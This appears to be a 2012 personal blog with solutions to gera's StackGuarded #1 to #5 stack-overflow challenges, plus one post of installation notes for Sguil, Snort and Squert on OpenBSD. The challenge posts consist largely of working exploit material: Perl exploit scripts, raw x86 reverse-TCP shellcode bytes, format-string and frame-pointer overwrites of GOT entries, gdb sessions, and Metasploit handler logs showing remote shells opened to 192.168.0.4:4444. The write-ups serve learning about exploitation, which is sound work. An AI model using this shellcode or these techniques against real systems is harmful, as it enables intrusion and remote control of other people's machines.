Sunday, September 9, 2012

StackGuarded #5

gera's StackGuarded #5.
/* sg5.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

int need_to_check = 1;  // XXX: Add global configuration

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)

int check(char *user) {
        char temp[80];

        decrypt(temp,user);

        // XXX: add some real checks in the future
        return !strcmp(temp,"gera");
}

int main(int argv, char **argc) {
    int user_ok;

    user_ok = check(argc[1]);
    if (!user_ok && need_to_check) {
        printf("fail !\n");
        exit(1);
    }
    printf("win !\n");
    exit(0);
}
Same caveats as #4. I also added two printf()s to visualize win/fail.
I don't believe you can get code execution here, but you can "win" with an incorrect password. The quick overview is to use the buffer overflow in check() to control main()'s ebp pointer. With this control comes control of the user_ok variable. This variable just needs to be set to 1 for a win.
Information gathering.
(gdb) x/x &need_to_check
0x804962c :      0x00000001

(gdb) x/x &user_ok
0xbffffb04:     0x00000000
(gdb) x/x $ebp - 4
0xbffffb04:     0x00000000
need_to_check is out in data land and has a value of 1. user_ok is on main()'s stack frame and it is 4 away from main()'s ebp. Exploit.
(gdb) break 22
Breakpoint 1 at 0x804855b: file sg5.c, line 22.
(gdb) run `perl -e 'print "A" x 80'`
Starting program: /home/dennis/sg5/sg5 `perl -e 'print "A" x 80'`

Breakpoint 1, main (argv=24641422, argc=0xbffffad0) at sg5.c:22
22          if (!user_ok && need_to_check) {
(gdb) x/x &user_ok
0xbffff9fc:     0x00000000 

(gdb) set $ebp = 0x0804962c + 4
(gdb) x/x &user_ok
0x804962c :      0x00000001
(gdb) c
Continuing.
win !

Program exited normally.
I overflow check()'s buffer into main()'s saved ebp (remember above caveats). On return, user_ok is set to 0 and on its way to a "fail". But, if main()'s ebp is overwritten so that it points 4 bytes away from need_to_check, user_ok (ebp - 4) will actually point to need_to_check, which happens to be 1 and victory is in hand!

Saturday, September 8, 2012

StackGuarded #4

gera's StackGuarded #4.
/* sg4.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

// XXX: Add real encryption here
#define decrypt(dest,src)     strcpy(dest,src)  

int check(char *user) {
        char temp[80];

        decrypt(temp,user);

        // XXX: add some real checks in the future
        return !strcmp(temp,"gera");
}

// XXX: Add real support for internationalization
#define LANG_MSG(dest,pattern) strcpy(dest,pattern);

int main(int argv, char **argc) {
    char msg[100];

    LANG_MSG(msg,"Get out of here!\n");
    if (!check(argc[1])) {
            printf(msg);
            exit(1);
    }
    exit(0);
}
There are a few more caveats here. First, I believe that when gera wrote this challenge, StackGuard was using its terminator canary, which looks like "\x00\x0a\xff\x0d", by default. The idea is that these four characters should terminate any string handling function (gets(), strcpy(), etc.) prematurely. This means that the canary can still be overwritten, but the string would terminate before it got to the saved EIP.
Second, since I don't have access to a proper StackGuard box, I have to fake it by manually setting ebp in main(). With that said, main()'s ebp is fully controllable due to the buffer overflow.
Starting program: /home/dennis/sg4/sg4 `perl -e 'print "A" x 84'`

Breakpoint 7, check (user=0xbffffba4 'A' ) at sg4.c:14
14      }
(gdb) info frame
Stack level 0, frame at 0xbffff9bc:
 eip = 0x804853b in check (sg4.c:14); saved eip 0x8048500
 called by frame at 0x41414141
 source language c.
 Arglist at 0xbffff9bc, args: user=0xbffffba4 'A' 
 Locals at 0xbffff9bc, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffff9bc, eip at 0xbffff9c0
(gdb) x/x 0xbffff9bc
0xbffff9bc:     0x41414141 <-- 0x08048500="" 0xbffff9c0:="" a="" canary="" ebp="" gdb="" is="" main="" pre="" pretend="" s="" saved="" terminator="" this="">

The gist of this exploit is to use the buffer overflow in check() to move main()'s ebp pointer, to control the msg variable. msg will point to a format string crafted in argv[2] allowing a write 4 bytes to any address primitive.
To start, I stick some shellcode into an environment variable and get its address. Stack spacing/alignment is important so I duplicate the exploit's arguments. 


[dennis@localhost sg4]$ export SG4=`perl sc.pl`
[dennis@localhost sg4]$ ./ev4 `perl argv1.pl` `perl argv2.pl`
SG4 is at 0xbffffc52
I'll also need exit()'s GOT address.
[dennis@localhost sg4]$ objdump -R sg4 | grep exit
08049658 R_386_JUMP_SLOT   exit
Here is argv1.pl
#!/usr/bin/perl

use warnings;
use strict;

my $filler1 = "A" x 1;
#my $exit_addr1 = "BBBB";
my $exit_addr1 = "\x58\x96\x04\x08";
#my $exit_addr2 = "CCCC";
my $exit_addr2 = "\x5a\x96\x04\x08";
my $filler2 = "A" x (80 - length($filler1) - length($exit_addr1) - length($exit_
addr2));
my $argv1 = $filler1.$exit_addr1.$exit_addr2.$filler2;
print $argv1;
argv1 overflows the buffer in check(). Note, without caveat number two, this would overwrite the saved ebp with an address that points to the format string in argv[2] (next.) In the beginning of this buffer, I place addresses that point to the low and high bytes of exit()'s GOT entry. argv2.pl contains the format string and it looks like this
#!/usr/bin/perl

use warnings;
use strict;

my $format = "%.64594u%124\$n%.50093u%125\$n";
my $filler3 = "C" x (100 - length($format));
my $argv2 = $format.$filler3;

print $argv2;
So that offsets didn't change during the development of the format string, I used $filler3 to setup a static "buffer" to work in. Remembering that the shellcode is at 0xbffffc52 the precision values for the %u modifiers are calculated like this
(gdb) print /d 0xfc52
$1 = 64594
(gdb) print /d 0x1bfff - 64594
$2 = 50093
The direct argument offsets, 124 and 125, point to the two exit() addresses from argv[1]. They were bruteforce calculated in gdb
(gdb) x/x $esp + (125 * 4) 
0xbffffb44:     0x08049658
(gdb) x/x $esp + (124 * 4)
0xbffffb48:     0x0804965a
With this setup, the printf(msg) call turns into
printf("%.64594u%124\$n%.50093u%125\$n", junk1, exit_addr1, junk2, exit_addr2)
junk1 and junk2 are taken off the real stack, whereas the two exit_addrs are taken from argv[1]. Exploit.
In the below exploit, ebp is set like
set $ebp = 0xbffffb94 + 112
0xbffffb94 is the start of argv[2], which was bruteforce calculated in gdb. 112 is the offset msg is from ebp.
(gdb) break 24
Breakpoint 6 at 0x804856d: file sg4.c, line 24.
(gdb) run `perl argv1.pl` `perl argv2.pl`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/dennis/sg4/sg4 `perl argv1.pl` `perl argv2.pl`

Breakpoint 6, main (argv=1094795585, argc=0x41414141) at sg4.c:24
24                  printf(msg);
(gdb) set $ebp = 0xbffffb94 + 112 <-- 0xbffffb94:="" 2="" 72="" caveat="" ebp.="" gdb="" manually="" msg="" n="" repeats="" s="" set="" times="" u="" x="">
(gdb) c

...

000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000544503
151C
Program received signal SIGTRAP, Trace/breakpoint trap.
0x40001e60 in _start () at rtld.c:158
158     rtld.c: No such file or directory.
        in rtld.c
(gdb) fg
Continuing.

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444 
[*] Starting the payload handler...
[*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.32:50115) at 2012-09-08 23:19:05 -0500

id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg4
^C





Wednesday, September 5, 2012

Squert on OpenBSD

For Paul.

So that I can do it again with less hate and alcohol, these are my notes on installing Squert on OpenBSD 5.1. There is room for improvement, feedback welcomed.

Snort

$ sudo pkg_add snort-2.8.6p1

You don't need the mysql flavor.

$ ftp http://rules.emergingthreats.net/open/snort-2.8.6/emerging.rules.tar.gz
$ tar -zxvf emerging.rules.tar.gz
$ cd rules/
$ ls emerging*.rules | awk '{print "include $RULE_PATH/`hostname -s`" $1}' > $ emerging.conf
$ sudo mkdir /etc/snort/rules/`hostname -s`
$ sudo cp emerging-*.rules /etc/snort/rules/`hostname -s`/
$ sudo cp emerging.conf /etc/snort/
$ sudo cp sid-msg.map /etc/snort/
$ sudo cp classification.config /etc/snort/
$ sudo cp reference.config /etc/snort/
$ cd /var/snort/
$ sudo rmdir log
$ sudo mkdir `hostname -s`
$ sudo chown _snort:_snort `hostname -s`/

The following edits should be made to /etc/snort/snort.conf

var HOME_NET external_ip/32
var EXTERNAL_NET !$HOME_NET
include emerging.conf
Comment out the VRT includes

Everything can be tested with

$ sudo /usr/local/bin/snort -c /etc/snort/snort.conf -u _snort -g _snort -t /var/snort -l /var/snort/`hostname -s`/


/etc/rc.d/snort should be created like

#!/bin/sh

daemon="/usr/local/bin/snort"

. /etc/rc.d/rc.subr

rc_cmd $1

/etc/rc.conf.local should be edited

snort_flags="-c /etc/snort/snort.conf -u _snort -g _snort -t /var/snort -l /var/
snort/`hostname -s` -D"

pkg_scripts="snort"

MySQL

$ sudo pkg_add mysql-server
$ sudo /usr/local/bin/mysql_install_db
$ sudo /etc/rc.d/mysqld start
$ mysqladmin -u root password 'oursecret'

Update /etc/rc.conf.local

pkg_scripts="snort mysqld"

Sguil Server

Tcl

$ cd /usr/ports/lang/tcl/8.5/
$ sudo make install
$ sudo ln -s /usr/local/bin/tclsh8.5 /usr/local/bin/tclsh

TclX

Download from http://tclx.sourceforge.net.

$ sudo pkg_add bzip2
$ bunzip2 tclx8.4.tar.bz2
$ tar -xvf tclx8.4.tar
$ cd tclx8.4
$ ./configure --with-tcl=/usr/local/lib/tcl/tcl8.5/ --enable-tk=NO
$ make
$ sudo make install
$ sudo ln -s /usr/local/lib/tclx8.4/ /usr/local/lib/tcl/tclx

The following test should return a version number

$ tclsh
% package require Tclx

mysqltcl

Download from http://www.xdobry.de/mysqltcl/.

$ tar -zxvf mysqltcl-3.051.tar.gz
$ cd mysqltcl-3.051
$ sudo ln -s /usr/local/lib/mysql/libmysqlclient.so.21.0 /usr/local/lib/mysql /libmysqlclient.so
$ ./configure --with-tcl=/usr/local/lib/tcl/tcl8.5/ --with-mysql-include=/usr/local/include/mysql/ --with-mysql-lib=/usr/local/lib/mysql/
$ make
$ sudo make install
$ sudo ln -s /usr/local/lib/mysqltcl-3.051/ /usr/local/lib/tcl/


The following test should return a version number

$ tclsh
%package require mysqltcl

Tcllib

$ sudo pkg_add tcllib

Tcltls

$ sudo pkg_add tcltls
$ openssl req -out CA.pem -new -x509
$ openssl genrsa -out sguild.key 1024
$ openssl req -key sguild.key -new -out sguild.req
$ echo 1 > file.sr1
$ openssl x509 -req -in sguild.req -CA CA.pem -CAkey privkey.pem -CAserial file.sr1 -out sguild.pem
$ sudo mkdir -p /etc/sguild/certs
$ sudo mv sguild.key sguild.pem /etc/sguild/certs/

Sguild

$ tar -zxvf sguil-0.8.0.tar.gz
$ cd sguil-0.8.0/server
$ sudo cp sguild.conf sguild.users sguild.queries sguild.access autocat.conf /etc/sguild/
$ sudo cp sguild /usr/local/bin/
$ sudo cp -r lib/ /usr/local/lib/
$ cd /var/log/sguild
$ sudo chown _snort:_snort *
$ cd sguil-0.8.0/server/sql_scripts/
$ mysql -u root -p -e 'create database sguildb'
$ mysql -u root -p -e 'grant all privileges on sguildb.* to sguil@localhost identified by "oursecret"'
$ mysql -u root -p -D sguildb < create_sguildb.sql

Adjust /etc/sguild/sguild.conf

set USER _snort
set GROUP _snort
set SGUILD_LIB_PATH /usr/local/lib/lib/
set DEBUG 1
set DAEMON 1
set RULESDIR /etc/snort/rules
set TMP_LOAD_DIR /var/snort/load
set DBPASS "oursecret"
set DBUSER sguil
#set LOCAL_LOG_DIR /var/snort/archive
set TMP_LOAD_DIR /var/snort/`hostname -s`/load
set P0F 0

Everything can be tested with

$ sudo /usr/local/bin/sguild

/etc/rc.d/sguild should be created

#!/bin/sh

daemon="/usr/local/bin/sguild"

. /etc/rc.d/rc.subr

rc_cmd $1

And /etc/rc.conf.local adjusted

sguild_flags=""
pkg_scripts="snort mysqld sguild"

Sguil Sensor

Edit /etc/snort/snort.conf

output log_unified: filename snort.log_unified, limit 128

snort_agent.tcl

$ sudo cp snort_agent.conf /etc/sguild
$ sudo cp snort_agent.tcl /usr/local/bin/

Edit /etc/sguild/snort_agent.conf

set DEBUG 1
set DAEMON 1
set HOSTNAME  `hostname -s`
set NET_GROUP external
set LOG_DIR /var/snort
set SNORT_PERF_STATS 0

Test with

$ sudo /usr/local/bin/snort_agent.tcl -c /etc/sguild/snort_agent.tcl

Create /etc/rc.d/snort_agent

#!/bin/sh

daemon="/usr/local/bin/snort_agent.tcl"

. /etc/rc.d/rc.subr

rc_cmd $1

Adjust /etc/rc.local.conf

snort_agent_flags="-c /etc/sguild/snort_agent.conf"
pkg_scripts="snort mysqld snort_agent sguild"

Barnyard

Download from http://www.snort.org/snort-downloads/additional-downloads/#barnyard

$ tar -zxvf barnyard-0.2.0.tar.gz
$ cd sguil-0.8.0/sensor/barnyard_mods/
$ cp configure.in ~/barnyard-0.2.0
$ cp op_* ~/barnyard-0.2.0/src/output-plugins/
$ cd ~/barnyard-0.2.0/src/output-plugins
$ patch op_plugbase.c < op_plugbase.c.patch

XXX This party is real icky

$ sudo pkg_add autoconf-2.68

Add AUTOCONF_VERSION=2.68 to autojunk.sh

$ export AUTOCONF_VERSION=2.68
$ ./autojunk.sh
$ ./configure --enable-tcl --with-tcl=/usr/local/lib/tcl/tcl8.5
$ make
$ sudo make install
$ sudo mkdir /etc/barnyard
$ sudo cp etc/barnyard.conf /etc/barnyard

Edit /etc/barnyard/barnyard.conf

config daemon
config hostname: `hostname -s`
config interface: `interface_name`
#config filter: not port 22`
output sguil

Comment out non-sguil outputs

Test barnyard with

sudo /usr/local/bin/barnyard -c /etc/barnyard/barnyard.conf -d /var/snort/`hostname -s`/ -f snort.log_unified -g /etc/snort/gen-msg.map -s /etc/snort/sid-msg.map -p /etc/snort/classification.config  -w /etc/barnyard/waldo.file

Create /etc/rc.d/barnyard

#!/bin/sh

daemon="/usr/local/bin/barnyard"

. /etc/rc.d/rc.subr

rc_cmd $1

Edit /etc/rc.conf.local

barnyard_flags="-c /etc/barnyard/barnyard.conf -d /var/snort/`hostname -s` -f snort.log_unified -g /etc/snort/gen-msg.map -s /etc/snort-sid-msg.map -w /etc/barnyard/waldo.file"

pkg_scripts="snort mysqld sguild snort_agent barnyard"

Squert

PHP

Make sure you have xbase installed.

$ sudo pkg_add php-5.3.10
$ sudo ln -s /var/www/conf/modules.sample/php-5.3.conf /var/www/conf/modules/php.conf
$ sudo pkg_add php-mysql-5.3.10
$ sudo ln -s /etc/php-5.3.sample/mysql.ini /etc/php-5.3/mysql.ini
$ sudo pkg_add php-gd-5.3.10
$ sudo ln -s /etc/php-5.3.sample/gd.ini /etc/php-5.3/gd.ini

pecl-stats

$ sudo pkg_add pear
$ sudo ln -s /usr/local/bin/phpize-5.3 /usr/local/bin/phpize
$ sudo ln -s /usr/local/bin/php-config-5.3 /usr/local/bin/php-config

XXX More icky

su to root
# AUTOCONF_VERSION=2.68 pecl install stats

Graphviz

$ sudo pkg_add graphviz

Squert

Download tar.gz from https://github.com/int13h/squert/downloads.

$ tar -zxvf int13h-squert-v0.9.4-61-g4706b38.tar.gz
$ mv int13h-squert-4706b38/ squert
$ sudo mv squert/ /var/www/htdocs/
$ cd /var/www/htdocs/squert/.inc
$ sudo cp config.php.sample config.php
$ cd ../.scripts
$ mysql -u root -p -D sguildb < squert.sql
$ mysql -u root -p -D sguildb < v0.8.sql

Edit config.php

$dbHost = 'localhost';
$dbName = 'sguildb';
$dbUser = 'sguil';
$dbPass = 'oursecret';
$rulePath = "/etc/snort/rules/`hostname -s`";
$dns = "localhost";

Add to the client section of /etc/my.cnf

local-infile    = 1

$ sudo ./ip2c.tcl

Add to root's crontab

*/5     *       *       *       *       /usr/local/bin/php -e /usr/local/www/squ
ert/.inc/ip2c.php1 > /dev/null 2>&1

Add to /etc/sguild/autocat.conf
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%INAPPROPRIATE||15
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%USER_AGENTS||15
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%POLICY||15
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%P2P||15
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%SCAN||16
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%RBN||17
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%MALWARE||17
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%CURRENT_EVENTS||17
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%TROJAN||17
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%Ping||16
none||ANY||ANY||ANY||ANY||ANY||ANY||%%REGEXP%%SNMP||16

Thursday, July 12, 2012

StackGuarded #3

Here is my solution to gera's StackGuarded #3. Same caveats as before.

/* sg3.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

char *read_it(char *msg) {
    char buf[128];
    int count;

    buf[read(0,buf,sizeof buf)]=0;
    return strdup(buf);
}

int main(int argv, char **argc) {
    char *msg = malloc(1000);

    snprintf(msg,1000,"User: %s",read_it(msg));
}


* I had to compile this with -mpreferred-stack-boundary=2 so that gcc wouldn't pad buf.

The read allows for a 1 byte overflow of buf into the saved framed pointer, which will be main's ebp when read_it returns. The least significant byte will be overwritten with a "\x00".

[dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x8048554 <main+24&gt:    pushl  0xfffffffc(%ebp)
0x8048557 <main+27>:    call   0x8048500 <read_it>
0x804855c <main+32>:    add    $0x4,%esp
...;
End of assembler dump.
(gdb) b *0x8048554
Breakpoint 1 at 0x8048554: file sg3.c, line 15.
(gdb) b *0x804855c
Breakpoint 2 at 0x804855c: file sg3.c, line 15.
(gdb) run < 128
Starting program: /home/dennis/sg3/sg3 < 128

Breakpoint 1, main (argv=1, argc=0xbffffaf4) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $ebp
0xbffffa88:     0xbffffac8
(gdb) c
Continuing.

Breakpoint 2, 0x0804855c in main (argv=1094795585, argc=0x41414141) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $ebp
0xbffffa00:     0x41414141


Since variables are referenced relative to ebp, this overwrite let's me control some things. As can be seen above, main's ebp now points somewhere in my string of As.

I need to make sure that msg still points to something writable so that the snprintf will succeed. I'm using DTORs just because I had it handy during a trial-and-debug session (plus it can be nm'd from the binary), but it can be anywhere writable.

 [dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x804856f
:    call   0x80483d8
0x8048574
:    add    $0x10,%esp
...
End of assembler dump.
(gdb) b *0x804856f
Breakpoint 1 at 0x804856f: file sg3.c, line 15.
(gdb) b *0x8048574
Breakpoint 2 at 0x8048574: file sg3.c, line 15.
(gdb) run < of
Starting program: /home/dennis/sg3/sg3 < of

Breakpoint 1, 0x0804856f in main (argv=1128481603, argc=0x43434343) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/x $esp
0xbffffa74:     0x08049614  <-- "msg", which i control somewhat
(gdb)
0xbffffa78:     0x000003e8  <-- 1000
(gdb)
0xbffffa7c:     0x080485e8  <-- "User: %s" format string
(gdb)
0xbffffa80:     0x08049b20  < -- return value from read_it()
(gdb) x/x 0x08049614
0x8049614 <__DTOR_END__>:       0x00000000
(gdb) c
Continuing.

Breakpoint 2, 0x08048574 in main (argv=1073832704, argc=0x40016998) at sg3.c:15
15          snprintf(msg,1000,"User: %s",read_it(msg));
(gdb) x/s 0x08049614
0x8049614 <__DTOR_END__>:        "User: DDDD\024\226\004\bAAAANüÿ¿", 'C'


The first part shows the parameters on the stack before snprintf is called. msg is somewhat controlled by me due to the ebp overwrite. By "somewhat" I mean I can add/remove environment variables for example to adjust the stack so that the overwritten ebp will point somewhere I control.

Notice how the snprintf succeeds by writing "User: DDDD" to DTORs.

Here is what main's leave and ret look like with the overwritten ebp.

 [dennis@localhost sg3]$ gdb sg3
...
(gdb) disas main
Dump of assembler code for function main:
...
0x804856f
:    call   0x80483d8
0x8048574
:    add    $0x10,%esp
0x8048577
:    leave
0x8048578
:    ret
End of assembler dump.
(gdb) b *0x8048578
Breakpoint 1 at 0x8048578: file sg3.c, line 16.
(gdb) run < of
Starting program: /home/dennis/sg3/sg3 < of

Breakpoint 1, 0x08048578 in main (argv=Cannot access memory at address 0x41414149
) at sg3.c:16
16      }
(gdb) x/x $ebp
0x41414141:     Cannot access memory at address 0x41414141
(gdb) x/x $esp
0xbffffa04:     0xbffffc4e


Some As from our exploit string are popped into ebp and esp is adjusted to point to our shellcode address (pointing to the process's environment). On ret, this address will be popped into eip and execution will start.

Here it is put together

[dennis@localhost sg3]$ export SG3=`perl sc.pl`
[dennis@localhost sg3]$ ./ev3
SG3 is at 0xbffffc4e
[dennis@localhost sg3]$ perl exp.pl > of

dennis@ipa:~/sg3$ cat exp.pl                                                  
#!/usr/bin/perl

use warnings;
use strict;

my $write_value = "D" x 4;

# need a valid address to write to, i'm using dtors because i had it handy from an earlier trial-and-debug session. bonus you can nm it from the binary
my $write_addr = "\x14\x96\x04\x08";

# main's leave instruction will put this value in ebp
my $leave_ebp = "A" x 4;

# main's ret instruction will put this value in eip
my $ret_addr = "\x4e\xfc\xff\xbf";

my $filler = "C" x 112;

print $write_value.$write_addr.$leave_ebp.$ret_addr.$filler;


...

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:52266) at 2012-07-12 17:54:54 -0500

id
/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍid: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg3

StackGuarded #2

Here's my solution to gera's StackGuarded #2, same caveats as StackGuarded #1 apply.

/* sg2.c                                                   *
 *  * specially crafted to feed your brain by gera@corest.com */

void func(char *msg) {
   char buf[80];
   strcpy(buf,msg);
}

int main(int argv, char** argc) {
   func(argc[1]);
}

The stack for this one looks something like

char *msg (parameter passed to func)
func's saved return address
StackGuard's canary
func's saved frame pointer address
char buf[80]

The key here is noticing that the canary does not protect the saved frame pointer (ebp) on the stack and it can be overwritten.

From my notes on Advanced Windows Buffer Overflows: awbo5, func's function epilog will do something like:

; copies ebp--which we control a bit--into esp
mov esp,ebp
; cause esp to increase by 4
pop ebp
; pops the address of where esp points to into eip and starts executing there
retn


I will use the strcpy to overflow buf and overwrite func's saved frame pointer to point 4 bytes before the shellcode (which is loaded in the process's environment.) Once ebp is popped from the stack, the stack pointer will point at the start of my shellcode. ret will pop the next address off the stack and start executing instructions from there.

#!/usr/bin/perl

my $nops = "\x90" x 21;

my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

# the ret will load 0xbffffc53 into eip which points 4 bytes ahead into the nop slide

print "\x53\xfc\xff\xbf" . $nops . $shellcode;







[dennis@localhost sg2]$ export SG2=`perl sc.pl`
[dennis@localhost sg2]$ ./ev2
SG2 is at 0xbffffc4e


As can be seen from the comment, I prepended an address that points a few bytes into the nop slide.

Here is a gdb run down.

[dennis@localhost sg2]$ gdb sg2
...
(gdb) disas func
...
0x8048478 <func+24>:    leave 
0x8048479 <func+25>:    ret   
End of assembler dump.
(gdb) break *0x8048479
Breakpoint 1 at 0x8048479: file sg2.c, line 7.
(gdb) run `perl -e 'print "A" x 88 . "\x4b\xfc\xff\xbf"'`
Starting program: /home/dennis/sg2/sg2 `perl -e 'print "A" x 88 . "\x4b\xfc\xff\xbf"'`

Breakpoint 1, 0x08048479 in func (
    msg=0x90909090 <Address 0x90909090 out of bounds>) at sg2.c:7
7       }
(gdb) info frame
Stack level 0, frame at 0xbffffc4b:
 eip = 0x8048479 in func (sg2.c:7); saved eip 0xbffffc53
 called by frame at 0x3d324753
 source language c.
 Arglist at 0xbffffc4b, args: msg=0x90909090 <Address 0x90909090 out of bounds>
 Locals at 0xbffffc4b, Previous frame's sp is 0x0
 Saved registers:
  ebp at 0xbffffc4b, eip at 0xbffffc4f
(gdb) x/x 0xbffffc4b + 4
0xbffffc4f:     0xbffffc53
(gdb) x/i 0xbffffc53
0xbffffc53:     nop   
(gdb)
0xbffffc54:     nop   

A breakpoint is set on func's ret. At the breakpoint, the saved ebp points to 0xbffffc4b. Adding 4 to it points to the saved eip. The saved eip points to the start of the shellcode and it's value is the jump-a-head address from above (0xbffffc53).

msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 4 opened (192.168.0.4:4444 -> 192.168.0.38:52056) at 2012-07-12 11:17:05 -0500

id
/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍid: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg2

Wednesday, July 11, 2012

StackGuarded #1

Here's my solution to gera's StackGuarded #1.

Since I was unable to track down an old Immunix ISO or an old enough gcc source tarball to patch manually, I'm trying to solve these challenges in the intended spirit of the exercises. The binaries are not compiled with StackGuard.


/* sg1.c                                                   *
 * specially crafted to feed your brain by gera@corest.com */

int func(char *msg) {
    char buf[80];

    strcpy(buf,msg);
    // toupper(buf);        // here just to give func() "some" sence
    strcpy(msg,buf);
    exit(1);
}

int main(int argv, char** argc) {
        func(argc[1]);
}

The stack will look something like


char *msg (parameter passed to func)
func's saved return address
StackGuard's canary
saved frame pointer
char buf[80]


On return from func, if the canary has been overwritten, the executable exits and logs a buffer overflow condition.

The key point is that the canary is checked on return from the function, this means we can still overwrite things before the return.

I'm using the first strcpy to overflow buf into msg, the parameter passed by main to func.


[dennis@localhost sg1]$ gdb sg1
...
(gdb) break 8
Breakpoint 1 at 0x80484a8: file sg1.c, line 8.
(gdb) run `perl -e 'print "A" x 96 . "B" x 4'`
Starting program: /home/dennis/sg1/sg1 `perl -e 'print "A" x 96 . "B" x 4'`

Breakpoint 1, func (msg=0x42424242 <Address 0x42424242 out of bounds>)
    at sg1.c:9
9           strcpy(msg,buf);
(gdb) x/x &msg
0xbffffa20:     0x42424242

With the msg pointer in my control, I'm going to use the second strcpy to write a value anywhere.

 The value I'm writing is the address of my shellcode, loaded in the processes environment, and the anywhere I'm going to write to is exit's GOT entry (since exit is called next, before func returns.)


[dennis@localhost sg1]$ objdump -R sg1 | grep exit
08049588 R_386_JUMP_SLOT   exit

dennis@ipa:~/sg1$ cat sc.pl
#!/usr/bin/perl

my $shellcode =
"\xba\xbb\x01\x12\x0d\xda\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9" .
"\xb1\x12\x83\xc6\x04\x31\x56\x11\x03\x56\x11\xe2\x4e\x30" .
"\xc9\xfa\x53\x60\xae\x57\xf9\x85\xb9\xb9\x4d\xef\x74\xb9" .
"\xf6\xae\xee\x7a\xa0\x4f\xeb\x1c\xd8\x5e\xaf\x86\x4b\x0b" .
"\x5f\x16\x3b\x42\xbe\xdb\xd1\x32\x19\x11\xa5\xe2\x1e\x70" .
"\x15\x2b\xec\x03\x1c\x2d\x17\x53\xf6\xe2\xc8\x27\x6e\x95" .
"\x39\xaa\x07\x0b\xcf\xc9\x87\x80\x46\xec\x97\x2c\x94\x6f";

print $shellcode;

[dennis@localhost sg1]$ export SG1=`perl sc.pl`

dennis@ipa:~/sg1$ cat ev1.c                                                   
#include <stdlib.h>
/* this progname name must be same length as sg1 */

int
main()
{
        char *envaddr;

        envaddr = getenv("SG1");
        printf("SG1 is at %p\n", envaddr);
}




[dennis@localhost sg1]$ ./ev1
SG1 is at 0xbffffc67

Put together it looks like


[dennis@localhost sg1]$ ./sg1 `perl -e 'print "\x67\xfc\xbff\xbf" . "A" x 92 . " \x88\x95\x04\x08"'`

...

msf > use multi/handler
msf  exploit(handler) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
msf  exploit(handler) > set LHOST 192.168.0.4
LHOST => 192.168.0.4
msf  exploit(handler) > exploit

[*] Started reverse handler on 192.168.0.4:4444
[*] Starting the payload handler...
[*] Sending stage (36 bytes) to 192.168.0.38
[*] Command shell session 1 opened (192.168.0.4:4444 -> 192.168.0.38:51515) at 2012-07-11 18:22:38 -0500


/bin//sh: ûjYj?XÍIyøj
                     XRh//shh/binãRSáÍ: No such file or directory
id
uid=500(dennis) gid=500(dennis) groups=500(dennis)
pwd
/home/dennis/sg1